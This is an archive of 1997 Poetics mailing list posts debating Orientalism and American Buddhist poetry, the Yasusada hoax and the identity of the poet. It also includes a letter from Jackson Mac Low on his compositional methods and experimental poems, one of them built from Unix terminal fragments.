As for Walter Lew and Dean Brink: The history of the 20th century is that the Left fights each other on small points of doctrine, and the Right triumphs. (I'm so glad I read "Homage to Catalonia" as an impressionable youth.) Lew and Brink are merely the latest wrinkles in this perennial game: Playing the "identity" card for maximum self-promotion (in the case of Lew), their targets are inevitably white liberals in the powerless world of poetry, rather than the genuine purveyors and sources of racism in this country. "Yasusada" is a racism to be condemned, but Proposition 189 or quotas for Asian-Americans at many universities is a problem for others to worry about. [I should note that Lew has attacked me in print as a "Cold War demonizer of China" for publicly stating two incontrovertible facts: 1) a vibrant generation of Chinese modernist poets of the 1930's were entirely silenced by the revolution; and 2) many of the best Chinese poets have been in exile since the Tiananmen massacre. Of course, with people like Lew you can't win: My writings on Chinese poetry can only be Orientalism; my small efforts for Chinese poets mere paternalism. Had I no interest in China, there would be no reason to single me out as a racist. In short, there is nothing more Sinophobic than a Sinophile.] As for the "racism" of your American Buddhists anthology, this ignores the fact that Buddhism (like Christianity and Islam, unlike Judaism and Hinduism) is a proselytizing religion that has been spread by missionaries and conversion. From the point of view of its various institutions, an anthology of white American Buddhists is a token of success, not of appropriation. (Much as, say, Baptists in Hong Kong would publish a book of Chinese Christians, but leave out English residents.) Take the case of D.T. Suzuki, the pioneer purveyor of Zen in this country. Suzuki was a militant Japanese nationalist who saw his mission as the purification of the decadent West. (On a parallel front, Zen was promoted in the 1930's throughout Asia as the most authentic version of Buddhism as proof of Japanese superiority and as the one true pan-Asian religion as part of Japanese imperialist dreams.) Suzuki would have read your anthology as a triumph: the conversion of the heathen. On another front, charges of "Orientalism" ignore the central issue being discussed by western Buddhists: How much of the Asian trappings of the religion must be maintained? Must we import the Tibetan and Zen monastic hierarchies? How does one create a "western" dharma? What should the medium be for the message? Poets, as always, are the first glimmers of social changes, and the interesting thing about your anthology is the first invention of a Buddhist poetry that is not based on Asian models or full of Asian referents. The success of Buddhism in the West will rest on the creation of some sort of indigenous variation. These are among the first signs, as are the "New Age" excesses denounced by Lew & Brink as Orientalist. Finally, Said's book was largely concerned with the "Near" or "Middle" East, those geographical dislocations, and it is misleading to extrapolate his (entirely correct) characterization of Western views of the Arabs amd Persians to the "Far" East of India, China,

and Japan. To believe in the intellectual and spiritual superiority of certain Asian groups-- as countless intellectuals since German Romanticism have done-- may be stereotyping, but it is not racism. Compare white attitudes to the African diaspora at any moment in history. At best-- among the "Negrophile" Modernists-- black people were being celebrated for the exuberance of their primitive vitality in contrast to the etiolated West. This is a far different matter than Hegel's belief that all civilization comes from Tibet; Voltaire's admiration of Mencius as the greatest philosopher; Pound's belief that Chinese was the most perfect language for poetry, etc., etc. Instead of conducting Orinetalist witch-hunts, your critics should be spending their time studying African religion.

All best--- Eliot

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771. **Henry**
Re: identity of the poet
Thu 26 Jun 1997

I agree with DB that the thing has to make its own way without support or investigation by the bio-FBI. What Elliza was saying I think was that she likes DIRECT, PARTICULAR, personal address in poems - a personal dramatic gesture - as opposed to visionary or intellectual abstractions in a writerly void. What I thought Kali was saying was that where a writer's coming from matters in the same way that it just helps to know that Mick Jagger didn't grow up in the Alabama fields inventing Robert Johnson tunes. [warning: we already had the Stones discussion. no further comments allowed. - Blarnes] I'm not saying a reader's required to do a background check: far from it! But most people would like to know when an imitation or a pastiche is taking place, or the difference between an "imaginative rendering" & a testimony from experience. Even if the imaginative rendering rings true. Most of the work that reaches print & wide audience has already been sifted over & over by the cultural bio-screens anyway. Until the truth comes out. - HG

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772. **Susan Wheeler**
Re: POETICS Digest - 24 Jun 1997 to 25 Jun 1997
Thu 26 Jun 1997

Questions that intersect with all three of these threads:

Is it possible to successfully construct a text that emulates, or speaks from, another's experience? Is the attempt itself doomed by its lack of access to another's culture? Moreover, is the attempt itself necessarily

colonialist/appropriationist -- or does its value depend upon either intent or result? And (Marjorie's question in the Yasasuda brouhaha) is the reader "duped" if the reader mistakes the writer's true identity, or is this simply another function of the text?

My own answers differ with the day, so I'm interested in others' --

Susan Wheeler
[redacted]
voice/fax [redacted]

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773. Robert Archambeau
On not Whipping Spivak
Thu 26 Jun 1997

Aldon Nielson wrote:

> *and I suspect we might find it true that Simic has received as much print space as Spivak over the years if anyone cares to make an actual count (which says nothing as to the quality of such attention)*
>
> *and why is Spivak the whipping girl of this discussion?*

I don't recall whipping Spivak (we're not back to the whole S/M issue, are we?). I merely said I wished translations of poetry were deemed as urgent as translations of theory, the urgency of which I have affirmed a few times now. And while I don't agree with everything Simic said (in fact I have agreed with Aldon on his main point from the first, especially re: straw men), this much of Simic's point is absolutely valid.

It was, and remains, my experience that my colleagues tend to have read, or at least thought they ought to have read, a fair amount of contemporary theory in translation, but not even contemplated reading the work of poets of their own generation, especially poets from elsewhere. Spivak's Derrida is a part of academic culture (which is good) in a way that Simic's Miljkovic is not (which is inexcusably bad).

Aldon: we repeat ourselves. Let's leave off until we run into each other at some conference, where we can continue while getting properly drunk.

--
Robert Archambeau
Department of English
Lake Forest College
Lake Forest, IL 60045

http://www.lfc.edu/~archamb/

↑ Index

774. **Joseph Zitt**
Re: Letter from Jackson Mac Low
Thu 26 Jun 1997

Charles Bernstein wrote:

> *Shortly we will be putting this letter up at Mac Low's home page at the EPC.*

The Silence list will be quite interested in this. Please let us know when it's up on EPC. -- ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ===== [redacted] ===== Human Systems \||| ||/ Austin, Texas! ========== SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == Empty Words == ecto \|

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775. **Gwyn McVay**
Re: Orientalism: reply to Dean Brink
Thu 26 Jun 1997

I appreciated George's reply. I was talking to a prof of Buddhist studies, also a long-standing (long-sitting?) practitioner, and we realized that the poetry world is coming to this entire debate somewhat tardily: for years there have been tensions between American Buddhists of Asian descent and American Buddhists of the pale people, who have in some circumstances and communities tended to appropriate the surface forms of Asian Buddhism without bothering to recognize the contributions of actual Asian-descended *people.* How do we not do this? Respect, great mindfulness?

If my aging memory serves, there are relevant articles in at least one back issue of the Journal of Buddhist Ethics, which you can find at:

http://jbe.la.psu.edu/ <--the LA being for Liberal Arts, not Los Angeles

bests
Gwyn

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776. **James Finnegan**
Re: more Vietnam
Thu 26 Jun 1997

In a message dated 97-06-26 03:52:14 EDT, you write:

>Just curious -- what do those of you familiar with Vietnam vets' poetry think
>of Terry Hertzler's _The Way of the Snake_?
>
>
>Bobbie

I'm not familiar with that book/author. I'll try to turn up a copy & read it.

Another notable book is Moon Reflected Fire by Doug Anderson. (Published by Alice James in about '94). Anderson was a medic in Vietnam. (The book/poet won a Kingsley Tufts Award.) Not all the poems are directly related to his Vietnam/war experiences--you can feel the poet trying to disengage somewhat from that material.

Finnegan

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777. Rebecca Reynolds

Re: long article up for criticism if yr up for it!

Thu 26 Jun 1997

> Joe Amato -- both w.class ("Joe") & top-drawer? ("Amato" -- Italianate
> daliant -- W.Stevens' "scrivening amorist": amore [moon hitsyer eye] =
> amato -- a relation of Laurie Amat's? [SF performance musician; neh,
> unlikely]) . . . Joe says:
>
> << anyway, part of the issue i see in this thread has to do with the status
> of the real... i think the real still has real status... i use "real" here as a
> category (sometimes i'll write "actual," just b/c, as we all know,
> everything is real, or can be deemed so) . . . >>
>
> Real walks into a restaurant
> best believe the dude getsa table
>
> from the other side ov the tracks?
> nurture nature (birch beech)
>
> like money on trees? sure shit man
> actual leaves autochthonous article
>
> can handle everyting like what if stuff
> really happens? takes it in stride he's
>

> got the scoop or did you really think
> they call him real for idle courtesy?
>
> whistling diction? re al i ty
> check mate illusion credit
>
> d.i.
>
>
Real walks into a restaurant
orders a fly for Soup, what Soup

insists like a joke
belonging to the fly, like the fly

dozing on beef in the gap between
like and like

  between
strips (a little strip of this,

little strip of that) in the rust
in the gray

spoon, the rest
in the white sugar, in the tin. Now this fly

exerts the "fly effect." Small wind
in the waiter's' ears. Small breath

as the fly
flew between

spumenti and fork
in the face of the--

between figments of lettuce. Let us now raise
famus myn. Was Real

on a lopsided event? What a juggernaut. Naught
for love, but the next (what

is the aut och tho nous
article?) maudlin but tru. the drowned fly

the tinny effect, the bib.

--Rebecca

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778. **Charles Bernstein**

Letter from Jackson Mac Low

Thu 26 Jun 1997

[Presented here is a letter by Jackson Mac Low to Nick Piombino, revised for the Poetics List by Mac Low. Mac Low is commenting on Piombino's response to Dean Taciuch, that was posted on the list: "I wonder if it might help to approach Cage and Mac Low's writing to students with difficulties like this by introducing them to their music as a parallel effort at dealing with meaning in more oblique ways than is usually expected. I would like to suggest, in particular, Jackson Mac Low's amazing relatively new cd 'Open Secrets' (1993 Experimental Intermedia Foundation 224 Centre Street,New York,N.Y 10013)."]

Your recommendation to let the students hear the pieces on _Open Secrets_ is a good idea. What I do is a great deal different from what John [Cage] did. There isn't such an overwhelming emphasis on nonegoity in mine. In Anne & my performances (and in other performances of our pieces) there is a great deal of choice for performers (in Lucas 1-29 the performers compose their own parts in accordance with certain structural rules (based on a kind of number sequence called the Lucas sequence: 1, 3, 4, 7, 11, 18, 29 . . . , which determines both lengths of time slots and the number of different tones in the slots, the larger numbers being made practical by regarding notes in different tones or by using microtones).

Also, in John's pieces he wants each performer to be her/his own center and not relate with the others. In mine I encourage them both to be their own centers and to relate with everything they can hear--each other and environmental sounds.

I was much influenced by John's work and theories (as well as by himself--a wise and remarkable person), but, as he often remarked, "It's nice that we don't tread on each other's heels."

My "purely" chance-operational poetry (mainly Dec 1954 to Spring 1960) (see examples in _Representative Works: 1938--1985_, 16-70) and my "deterministic" or "algorithmic" nonintentional poetry--made by acrostic reading-through text-selection procedures (mainly from 1960-1963--see Ibid., 71-127, _Stanzas for Itis Lezak_ [Barton, VT: Something Else, 1971], and _Asymmetries 1-260_ [New York: Printed Editions, 1980]) and diastic reading-through text-selection methods (see, for instance, _The Pronouns--40 Dances--For the Dancers_ [New York: Mac Low, 1964; 2nd ed. London: Tetrad Press, 1971; 3rd ed., Barrytown, NY: Station Hill, 1979], _The Virginia Woolf Poems_ [Providence: Burning Decl, 1985}, and _Words nd Ends from Ez_ {Bolinas, CA: Avenue B, 1989] into the 80s and sometimes later--was made by methods quite different from John's. His mesostic poems--made by reading-through procedures that entailed certain

choices (mainly of how many of the "wing words"--those on each side of the mesostic word, which was determined by his method), were begun in about 1968 or 69, and had some relation to my earlier reading-through methods, but were different in certain crucial ways.

Also, from 1955 intermittently on, I employed "translation" methods--ones through which the notes of musical notations were "translated" into words from source texts, e.g., my poem "Machault" (_Representative Works: 1938-1985_ [New York: Roof Books, 1986], 35-40]) or vice-versa, i.e., the words of source texts were translated into music (e.g., my _Milarepa Quartet for Four Like Instruments_ [unpublished]).

The work I did from about 1981 on was sometimes not systematic at all, but most often was composed freely, though mostly from the liminal zone between the conscious and the unconscious, which the British psychologist W.W. Winnicott called "the transitional space" and Silvano Arieti named "the tertiary process," since it is the area of intersection between the primary and secondary processes. [I owe knowledge of these terms to the revised and expanded version of Austin Clarkson's fine paper for the November 1995 Mills conference on Cage, "Divining the Intent of the Moment : John Cage and Transpersonal Aesthetics," which will be published with the other papers from the conference, edited by David Bernstein, by the University of Chicago Press.] Examples of this kind of work are the poems in _From Pearl Harbor Day to FDR's Birthday_ (Los Angeles, Sun & Moon, 1982; 2nd ed., 1995), the first 2/3 or 3/4 of _Bloomsday_ (Barrytown, NY, Station Hill, 1984---the last part is made up of nointentionally composed work--poetry, "stories," and music), and the "poems in prose" in _Pieces o' Six_ (Los Angeles, Sun & Moon, 1992)--with a few diastic exceptions.

All of these--and other works of mine of other kinds that I haven't space to mention here--was quite different from any poetry or prose John ever wrote, but so was my "nonintentional poetry." For instance, even though we both made long poems by reading through [Ezra Pound's] _Cantos_, we did so in quite different ways. (John liked mine--made by nonintentional consecutive diastic selection of words & ends of words regulated by Pound's name) better than his own mesostic poem.)

Twenties: 100 Poems (New York: Roof Books, 1991) & _154 Forties_ (work in progress since 1990) are different again, adhering to certain "fuzzy verse forms" [giving the secondary process a bone to gnaw on], and gathering into them--mainly by liminal-zone processes--materials from what I heard, saw, and spontaneously thought of while writing their first drafts. Poems in both series, but especially the Forties poems are subject to later revision. This is a very complex way of working, mainly in the liminal (or tertiary) area, even though there is a certain amount of deliberate choice involved. The choices, however,

do not come from an attempt to "say" something definite, but from intuitions in relation to local sound & meaning rather than to a global meaning of the whole poem. Both those collections are sometimes used as sources of chance-operationally made mixes which I run through computer-automations (by Charles O. Hartman) of my diastic methods.

The thing is that there is too much pairing of John's and my work, despite our strong mutual regard. We're both concerned with intentionality and nonintentionality and started doing this sort of work from understandings of Buddhism, especially Zen & Kegon as taught by Daisetz Suzuki at Columbia University in the 40s and 50s. But I seldom used "pure" chance operations after 1960. My algorithmic work is often mistakenly thought to be chance-generated, as they say, and I too used to think it was "chance-generated" work, but I realized sometime in the 80s that the only chance involved is in the making of mistakes (and after a certain point--especially book publication--the mistakes must be accepted as integral to the works). Otherwise, whatever gets into the poetry is determined by the generative method & lies there waiting in the source texts.

I might add that I have been working with many other kinds, and sometimes mixtures, of intentionality and intentionality since 1954. In addition to the methods and processes I've mentioned, some works, e.g., my over 65 Light Poems, e.g., _22 Light Poems_ (Los Angeles: Black Sparrow, 1968), "The Presidents of the United States of America" (_Representative Works_, 152-67), and the "From Nuclei" poems (Ibid, 128-31) involve "nucleus" words--systematically determined by chance or other means--between which I wrote freely. And the performance works are realized by a complex mix of "deliberate choice" and "intuitive (tertiary-process) choice, though many were composed by strict chance operations.

Let me add that in my recent _42 Merzgedichte in Memoriam Kurt Schwitters_ (Barrytown, NY: Station Hill, 1994), the first poem --which is also in _Pieces o' Six_ (168-75)-- was written by impulse-chance-selection from sources about and by Schwitters, the 2nd through the 30th by computer-aided chance operations, and the 31st through the 42nd by computer-automated diastic methods, which in some of the last Merzgedichte were supplemented by use of Hugh Kenner and Joseph O'Rourke's program TRAVESTY, which produces what Kenner calls "pseudo-texts," determined by lettter-group frequencies in English.

Thus I never "abandon" earlier ways of working, certainly never repudiate them. It is to be noted that before late 1954 and from time to time from 1954 to the present, I have written poems by something like the "ordinary" methods--so-called direct writing. However, many of my pre-late-1954 poems were written from the liminal area of the mind (see examples in _Representative Works_, 3-

13). Thus my recent poetry has certain resemblances with some of work written in the 30s and 40s.

Jackson Mac Low, June, 1997

*****

Shortly we will be putting this letter up at Mac Low's home page at the EPC.

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779. Dean A. Brink

Re: Orientalism: reply to Dean Brink

Thu 26 Jun 1997

Gwyn McVay wrote:

> *... there are relevant articles in at least one*
> *back issue of the Journal of Buddhist Ethics, which you can find at:*
> *http://jbe.la.psu.edu/ <--the LA being for Liberal Arts, not Los Angeles*
> *bests*
> *Gwyn*

The article "Causation and Telos: The Problem of Buddhist Environmental Ethics" by Ian Harris would seem to shed light on reading Snyder.
http://jbe.la.psu.edu/1/harabs1.html

Also: "Ethics and Integration in American Buddhism," by Charles S. Prebish. http://jbe.la.psu.edu/2/pre3abs.html
Abstract:
"This article identifies and explicates several of the most difficult and problematic issues facing the North American Buddhist movement today. It considers not only the obvious conflict between Asian-American and Euro-American Buddhism, but also those concerns that most directly impact on the ethical dilemmas facing modern American Buddhists. The article considers the tension that exists in American Buddhism's struggle to find the ideal community for Buddhist practice in its Western environment, as well as some potentially creative solutions."

--
dean brink

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780. **Mark Weiss**
Re: gleaning smart
Thu 26 Jun 1997

Charles--I thought I was taking a median position on this thread, defining the territories of usefulness of context and text. Obviously a lot of knowledge is a good thing, and anything that gets one to Boswell's Life of and Psalm of David is to the good. The Johnson reference is interesting. The discussion that Boswell records is on the occasion of Smart being committed after falling to his knees in florid prayer in the middle of one of London's busiest streets, a danger more to himself than others and incompetent to provide for his own wellbeing. The vehemence of Johnson's remark tells us, I think, more about Johnson than about Smart, and not just about Johnson's own somewhat hysteric and tortured religiosity. Johnson lived in constant fear of going crazy, suspected at times that he might be or be seen as insane--he speaks here preemptively for a benign take on himself. Johnson never read Jubilate Agno, by the way, never knew of its existence.

At 11:35 PM 6/25/97 -0700, you wrote:
>Mark Weiss, you said:
>
>"But let's look at a more Giraldoesque example. What exactly does my
>knowledge that Kit Smart was mad as a hatter add to my appreciation of
>Jubilate Agno?"
>
>Perhaps nothing, but reading Samuel Johnson saying that Smart was thought
>mad because he prayed in the streets, and having Johnson say he would "as
>lief pray with Kit Smart as with any man," knowing a bit about Johnson, and
>having read Smart's also magnificent "Song to David" adds greatly to my
>appreciation of Jubilate Agno, and to my knowledge of prayer and madness.
>
>charles
>
>
>
>chax press :: alexander writing/design/publishing
>books by artists' hands :: web sites built with care and vision
>handmade and trade editions of contemporary innovative writing
>[redacted] :: http://personal.riverusers.com/~chax/
>
>

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781. **Joe Amato/Kass Fleisher**
heat wave reception...
Thu 26 Jun 1997

mebbe it's b/c we're just getting out of the heat & humidity here in chicago---mebbe i'm in one a those "it's too hot to fight like cats & dogs" moods... but i'm reading at least three disputes hereabouts that seem to me to be drawing some mighty fine distinctions... IN THIS CORNER ... AND IN THIS CORNER:

(1) on the one hand, i trust we're all sufficiently aware that no work "stands on its own"... there's always a context for reception, there are always constraints and possibilities (of meaning and meaningfulness) operating in said context... *at the same time*, it should be clear that to say a work "stands on its own" is to say that one shouldn't evaluate (i.e., "good," "bad," or merely "select") a work merely by, say, recourse to its author's rep (this is that old raison d'etre for the birth of new criticism oh pleez pretty pleez let's not go there)... i hope to hell nobody believes THE QUALITY GOES IN WHEN THE NAME GOES ON (though i'm sure we often act this way at times)... i also hope to hell we all believe that there are words on the screen (here, i mean---t-h-e-s-e)... so these are matters of emphasis, finally, and there are so many reasons for emphasizing this, and not that, when it comes to interpretation... that said, there must be SOME reason why, as a self-defined *writer*, i find mself at times at odds with academic writers, and at times at odds with more trade-bound writers... i would seem to have a foot in each, or many, camps---which suggests, in pragmatic terms, different motivations, different emphases, and different ways of talking about same...

(2) for my part, i have seen too many (in my view mock, but often quite seriously intentioned) "oriental" (term used advisedly) poems---in english... which is not to make an argument against such practice across-the-board---more to suggest that i have problems (ideological, aesthetic) with many attempts to convey such "tone"... but to put it as simply (or mebbe simple-mindedly) as i can: the issues growing out of the thread on yasusada are complex, yes, but it doesn't take a rocket scientist to understand why a poem appealing to orientalist impulses appeals to editorial collectives interested in expanding publishing opportunities... some of the reasons for doing so are savory, some are less so (seems to me that kent's impulses, wrt his anthology, were/are savory, though it seems to me that there MUST be "buddhistic" asian-american poets, no?)... which is why i posted the agent rejection---there is a commonplace understanding among literary agents that certain formal structures are marketable on the basis of (what i regard as) questionable assumptions as to nationality, race, ethnicity, etc.---is anybody surprised by this?---and my observing so is NOT to be taken as an argument against poetry/literature in translation, or against minority/ethnic representation (multiculturalism), or against theory... if anything, this is an argument against (our) rampant marketplace realities (esp. in publishing),

and against (to put it as nicely as i can) critical myopia... heck, folks, if anything, we need to be MORE theoretical, no? (pleez note lowercase t)... we need to be as aware as we can of what we're doing---as writers, readers, publishers, etc...

(3) all of which is to say, I WANT MY ORANGE POPSICLE, NOW...

best,

joe

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782. Alan * Sondheim
Kill -9 0
Thu 26 Jun 1997

---

  *
 *

Kill -9 0

sendmail mailing hell, file moving hell, killing background hell, killing foreground hell, spam complaining hell, message parsing hell, attachment error hell, lying thank you hell, starting stopping hell

fyflkjq q flkjs; dlfjl;kjlj jennifer-kfdlkjsdfw-hell

y::I did NOT join whatever this person is talking about; the full header
gives your addresses. Please do something about this - it's highly
      [Problem with attachments! Fix errors or delete attachments.]
[1] + Stopped /julu/local/experimental/bin/pine
{k:18} kill -9 19462
To : flkjsdf
Subject : Thank you for joining! (fwd)
----- Message Text ----
[2] + Stopped /julu/local/experimental/bin/pine
[1] - Killed /julu/local/experimental/bin/pine
{k:21} kill -9 19477
[2] + Killed /julu/local/experimental/bin/pine
{k:23} b
{k:25} less #pico19462#
Missing filename ("less -\?" for help)

missing naming hell, hacking break-in hell, damage data hell, removing file hell, stutter splatter hell, signal stopping hell

{k:26} rm *pic*
rm: remove #pico19462#? y

***** This service is for authorized clients only *****
WARNING: It is a criminal offence to:
i. Obtain access to data without authority
* (Penalty 2 years imprisonment) *
ii. Damage, delete, alter or insert data without authority
* (Penalty 10 years imprisonment) *
{k:38} kill -9 all
[Yes] jennifer
[Yes] julu
[Yes] jennifer

killing process hell, shutdown hard now hell, process running hell, lkjsdfj keyboard hell, spatter keyboard hell, spoofing address hell, sendmail blocking hell, killing all now hell, corrupting file hell

jennifer-dog-writing-hell, julu-cat-yowling-hell,
jennifer-trancing-backup-hell, julu-screeching-zombie-hell,
jennifer-training-dogcat-hell, julu-wailing-canine-hell

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783. **Dean A. Brink**
Re: post mystique
Thu 26 Jun 1997

KENT JOHNSON wrote:

> *For those who might be interested in the issue, a recent development is a post (from an "abd" doctoral student in East Asian Languages at University of Chicago) in which every editor and poet involved in the anthology is accused of being a racist through and through and of only being capable of comprehending a "candy-Buddhism" that is designed to culturally expropriate Asian Americans. (I'm trying to be fair and accurate.)*

You don't sound very Buddhist. Anyway, why draw everyone else as victims of this purported abd madness and poetic licence? Take responsibility for your own editorial actions, which are the focus of this Whitewater inquisition.

Lew's statement in _Premonistions_ and my own inquiries have specifically focused on the question of whether the editorial policies speak to Orientalist and racist assumptions. I'm still waiting for adequate answers.

Read my my first post and try engaging in good-faith attempts at discussion. I had not even seen the anthology and was initially replying solely to the defense you present of your editing policy (and a history of Orientalism in American Buddhist poetry).

--
dean brink

abd EALC UChicago
[redacted]

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784. **Mark Weiss**
Re: hey! Other mind here, please take the trouble to read it
Thu 26 Jun 1997

Is this an overstatement or are you really nuts?

This "response" to poetry
>(which in your construction appears to take place at some deeper and more
>meaningful level than contextualization) doesn't seem so different to me
>from the hard-on some guys get when they thumb through fuck books. I mean,
>that's a "response," right? And it doesn't matter who the woman (or the
>guy) in the photo is--their bio is completely and wholly irrelevant because
>the reader is in it for *himself* (or herself, as the case may be). You can
>jerk off over a photo, but it doesn't mean that you're exactly "meeting
>through the porn." I think that focusing wholly on your own response to a
>poem (and the bio be damned) objectifies the author and makes him/her
merely
>a vehicle for your own pleasure. What you feel might be *real*, but
>frankly, my dear, who gives a damn? In the end, all you've got left is a
>sticky piece of paper and the need to do it again and again because it
>never, finally, satisfies.
>

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785. **henry**
Re: identity of the poet
Thu 26 Jun 1997

On Mon, 23 Jun 1997 04:20:55 +-900 Daniel Tessitore said:
>HG wrote:
>
> What I thought Kali was saying was that where a writer's coming
>from matters in the same way that it just helps to know that Mick Jagger
>didn't grow up in the Alabama fields inventing Robert Johnson tunes.
>[warning: we already had the Stones discussion. no further comments
>allowed. - Blarnes]
>- HG

>_____
>
>How is knowing where a writer comes from the same as knowing where he or she
>DOESN'T come from? DT

Query relates to Susan Wheeler's. In astrophysics circles, this conundrum is known as the "Pessoa Phase-Warp Effect". Knowing Pessoa's heteronyms don't come from him tells you where Pessoa comes from. Get it? Or: "I am telling you I am not Pessoa." [Logical impasse at work.] Imagination is free and ambiguity is the foundation of our democracy. The perfect imitation of another's experience would be a work of autobiography, not art. The imperfect imitation would be an appropriation; its faulty mimesis would have to be redeemed by its artistry. Here comes another Great American Writer trying to play three chords... I don't think I'll rent the video, even. - Henry G.

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786. Mark Weiss
Buddhism and Racism
Thu 26 Jun 1997

For me there's a certain unreality about this thread, perhaps because of my own ignorance. I do think, however, the discussion would be helped if we were provided with a list of Asian-American Buddhist poets who could have been included in "Beneath..." Hey, then we could find out if they're guilty of orientalism. (Remember, it's Jews who made "Fiddler on the Roof" a hit)

At 09:59 PM 6/25/97 -0700, you wrote:
>In reply to Kent Johnson:
>
>Perhaps it is fair to say that we both have been grabbing certain words
>of the other and making more than there is there out of them. As you
>suggested, this comes with the territory of writing against another and
>diatribe. Maybe it would be more productive if we focus more on the
>issues and less on the person. This may be partially my fault, for I
>based my critique of the anthology on a narrow selection of your words
>in defense of your editing policy. After you explained your situation as
>editor it indeed does not sound pernicious as my accusations have
>asserted. No malice, but still room for more apt reconsideration of your
>editing policies. And the more you write about the issues (instead of
>attacking me, which I can understand as your words have been under
>scrutiny and I do sympathize with you, just hope we can get to the meat
>of the issues before Hell freezes over :) .

>Unfortunately, at this point, as the discussion has veered in this
>personal direction, your words of explanation still ring more of excuses
>than accounts of how the factual act of editing an all-white Zen
>anthology came to pass. Maybe I missed it, but have you discussed the
>"social tensions" that Lew mentions as possible reasons for the
>editorial choices (which would shift the discussion from aesthetics and
>ideology to the history of Buddhist groups and sects, and poetry
>coteries and publishing houses). BTW, Lew's tone in situating _Beneath a
>Single Moon_ is very similar to my own: sarcastic, high-toned, and in
>disbelief that such stark "omissions" of Asian Americans would be found
>in a collection based on the "stated ideal of comprehensive co-existence
>beneath a light that illuminates all evenly" (Lew, 582). (Also, I would
>like to retract all race-based distinctions that were read into my first
>posting, preferring cultural, discourse-based, non-exclusive
>affiliations.)
>
>Again, I have not attacked the contents of your anthology but your
>defense of your editing policy, which itself speaks to the crux of the
>matter. As you write (sorry, I have to quote you to maintain a semblance
>of clarity):
>
>>If Mr. Lew (and
>>the other co-signers of the BR response) had carefully considered the
>>Shambhala anthology, they would have seen that a fundamental criteria
>>for inclusion was a serious background in Buddhist study and
>>practice. We were not interested, in the least, in poetry
>>exhibiting the vague and stereotypical waft of the "Buddhistic." If
>>anything, our anthology begins to point to the fact that reductive
>>notions of the "Buddhistic" are one of the by-products of the
>>"Orientalism" that Mr. Lew denounces. There is simply no way of
>>boiling down Buddhist artistic expression to any particular
>>"Buddhistic" characteristics of tone, content, or style.
>
>Again, like you and I, you and Lew would seem to be not communicating
>clearly.
>When you say
>>that a fundamental criteria
>>for inclusion was a serious background in Buddhist study and
>>practice,
>I hear a 'certain idea of' serious background.... I also hear a requisite
>_self-conscious_ foregrounding of Buddhist practice that may seem (and
>this is only conjecture from my experiences in Japan and the opinion of

>Japanese friends) absurdly "forced" (what in Japanese is called "riding
>the tone" [choushi ni notte iru]). I don't know if this is one of the
>charges in the BG piece, as I haven't seen it yet.
>The "riding the tone" in much of the Naropa, Snyder and what Lew wittily
>calls a "Caucasian Zen circle" poetry, amounts to what seems to me the
>ongoing "winking" (to use a technical term) in some of the poetry
>(perhaps most prominent in Snyder's style of poetry).
>
>Examples of this winking are in the remainder of this paragraph above:
>
>>We were not interested, in the least, in poetry
>>exhibiting the vague and stereotypical waft of the "Buddhistic." If
>>anything, our anthology begins to point to the fact that reductive
>>notions of the "Buddhistic" are one of the by-products of the
>>"Orientalism" that Mr. Lew denounces. There is simply no way of
>>boiling down Buddhist artistic expression to any particular
>>"Buddhistic" characteristics of tone, content, or style.
>
>Like accusations that I am Orientalist, this twisted logic "winks" at
>one. It suggests that maybe this vein of American Buddhist culture that
>your anthology represents is antagonistic to Asian Americans, placing
>vivid practice first. For expects that one conform to both "serious
>practice" and not non-reducible "Buddhistic" characteristics in poetry.
>The primary criteria, and bottom line, is a foregrounded practice.
>
>Along these lines, a question that then arises is whether this winking
>activism fulfills "spiritual" (interior? amorphous? epistemological?)
>desires, or interfaces with social concerns, or ?.
>
>As a specific example by which we might merge the poetic and the
>"discursive framing" issues here is the question of how haiku (not
>senryu, which are not "serious" and usually used for the sake of
>invective, satire, parody and comedy) do or do not carry Orientalist
>overtones in English? (This is a question designed to focus discussion,
>not reach absolute conclusions.)
>More specifically, in practice, does the writing and evaluation of haiku
>in English demand a primarily Buddhist (by whatever school of thought
>one defines this) epistemological approach to language? Are haiku in
>English metonymical representations of Buddhist practice?
>And, in the translation of culture in America, when a group, religious
>or social, attempts to sustain an image of another culture, to what
>degree is that "other" culture necessarily confined to a narrow range of

>interpretation, is stereotyped, and made part of a unilateral and
>expropriative relationship? And does haiku constitute an example of such
>a discourse and practice that collapses formal and ideological
>objectives?
>Then, are the values cultivated by the practice of writing haiku
>Orientalist, for instance, in the sense of speaking longingly and
>Romantically of attaining an imaged exemplar Asian subject (be like
>Basho, be like Dogen, be like Snyder who wants to be like the above)
>while quite selectively engaging the materials and omitting historical
>context (like the volume of haiku and waka translated without head
>notes, dates, any clue of context)?
>
>
>dean brink
>
>

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787. **Ian Wilson**

Re[2]: POETICS Digest - 24 Jun 1997 to 25 Jun 1997

Thu 26 Jun 1997

> *Is it possible to successfully construct a text that emulates, or speaks from, another's experience? Is the attempt itself doomed by its lack of access to another's culture?*

The first question seems to be investigating, in part, the mind/body problem, and one answer might be that we can't even fully participate in our own experience let alone someone else's -- if they even exist beyond our ability to perceive them.

The second question stalls on trying to define what the questioner means by "culture".

Both questions seem to assume that we're speaking of texts which have some mimetic properties that allow them to "represent" a reality through the use of signs that purport to be natural and through the use of the everyday language which would be that of Realism.

Barthes tells us that signs that claim to be natural are authoritarian and ideological because it is a function of ideology to naturalize social reality and make it seem innocent and unchangeable -- as Nature itself. Realists attempt to conceal the socially relative or constructed nature of language: it presents the illusion that there is a form of ordinary language which is natural. Thus for Barthes the realist sign is unhealthy. It attempts to efface its own status as sign

to foster the illusion of receiving an unmediated reality. The sign as reflection, expression or representation denies the productive character of language, suppresses the fact that we only have a world because we have language to signify it, and what we count as real is bound up with alterable structures of signification we live within.

Patricia Waugh writes that everyday language endorses and sustains power structures through a continuous process of naturalization whereby forms of oppression are constructed in apparently innocent representations.

Thus, both questions also seem have an underlying assumption that one needs to have some kind of authority to write anything.

My own view is that I'm going to write whatever I can imagine and if my speaker assumes a different gender or race feel free to get puffed up about issues of colonization -- but that's your problem as a reader, not mine as the writer.

IRW

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788. **Aldon L. Nielsen**
Re: Orange Popsicle
Thu 26 Jun 1997

Am I the only one who reads those magazines just for the stanzas of bio description alongside each model's picture? Invariably satisfying -- a sublime genre --

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789. **Kali Tal**
Re: hey! Other mind here, please take the trouble to read it
Thu 26 Jun 1997

> *Is this an overstatement or are you really nuts?*

Sheesh. Is this a rhetorical question, or are you really such a poor reader?

Now we may both ask: what kind of question is that?

Kali

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790. **David Israel**
"unreality"
Thu 26 Jun 1997

[was: Subject: Buddhism and Racism]

